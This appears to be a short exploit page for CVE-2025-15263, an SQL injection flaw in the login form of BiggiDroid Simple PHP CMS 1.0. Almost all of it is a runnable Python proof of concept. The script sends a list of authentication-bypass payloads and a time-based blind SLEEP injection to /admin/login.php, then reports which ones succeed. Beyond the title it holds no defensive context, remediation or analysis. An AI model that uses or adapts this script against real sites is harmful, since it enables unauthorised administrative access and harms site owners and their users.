CVE-2025-15263 BiggiDroid Simple PHP CMS SQL注入漏洞

import requests # CVE-2025-15263 SQL Injection PoC # Target: BiggiDroid Simple PHP CMS 1.0 # Endpoint: /admin/login.php # Parameter: Username target_url = "http://target-site.com/admin/login.php" # Basic authentication bypass using SQL injection payloads = [ "admin' OR '1'='1", "admin' -- -", "admin' #", "' OR '1'='1' -- -", "admin' UNION SELECT 1,2,3-- -", ] for payload in payloads: data = { "Username": payload, "Password": "anypassword", "submit": "Login" } try: response = requests.post(target_url, data=data, timeout=10) # Check for successful login indicators if "dashboard" in response.text.lower() or "admin" in response.url: print(f"[+] Potential successful injection with payload: {payload}") else: print(f"[-] Payload failed: {payload}") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") # Blind/time-based SQL injection test blind_payload = "admin' AND SLEEP(5)-- -" data_blind = { "Username": blind_payload, "Password": "test", "submit": "Login" } import time start = time.time() response = requests.post(target_url, data=data_blind, timeout=15) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based blind SQL injection confirmed")